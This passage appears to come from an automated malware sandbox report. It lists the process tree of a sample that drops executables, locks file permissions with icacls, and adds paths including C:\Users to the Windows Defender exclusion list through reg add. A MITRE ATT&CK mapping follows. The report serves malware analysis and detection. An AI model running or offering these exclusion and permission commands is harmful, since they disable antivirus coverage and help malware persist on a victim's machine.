      icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4664
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:980

C:\Users\Public\EK4tbB\MIqaD4.exe
"C:\Users\Public\EK4tbB\MIqaD4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3328

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EK4tbB" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EK4tbB" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2944

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1356

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3748

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:656
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1604

C:\Program Files (x86)\bChbal\bChbal.exe
"C:\Program Files (x86)\bChbal\bChbal.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5412

C:\Program Files (x86)\F3c5b1JM\C17x61TY6.exe
"C:\Program Files (x86)\F3c5b1JM\C17x61TY6.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery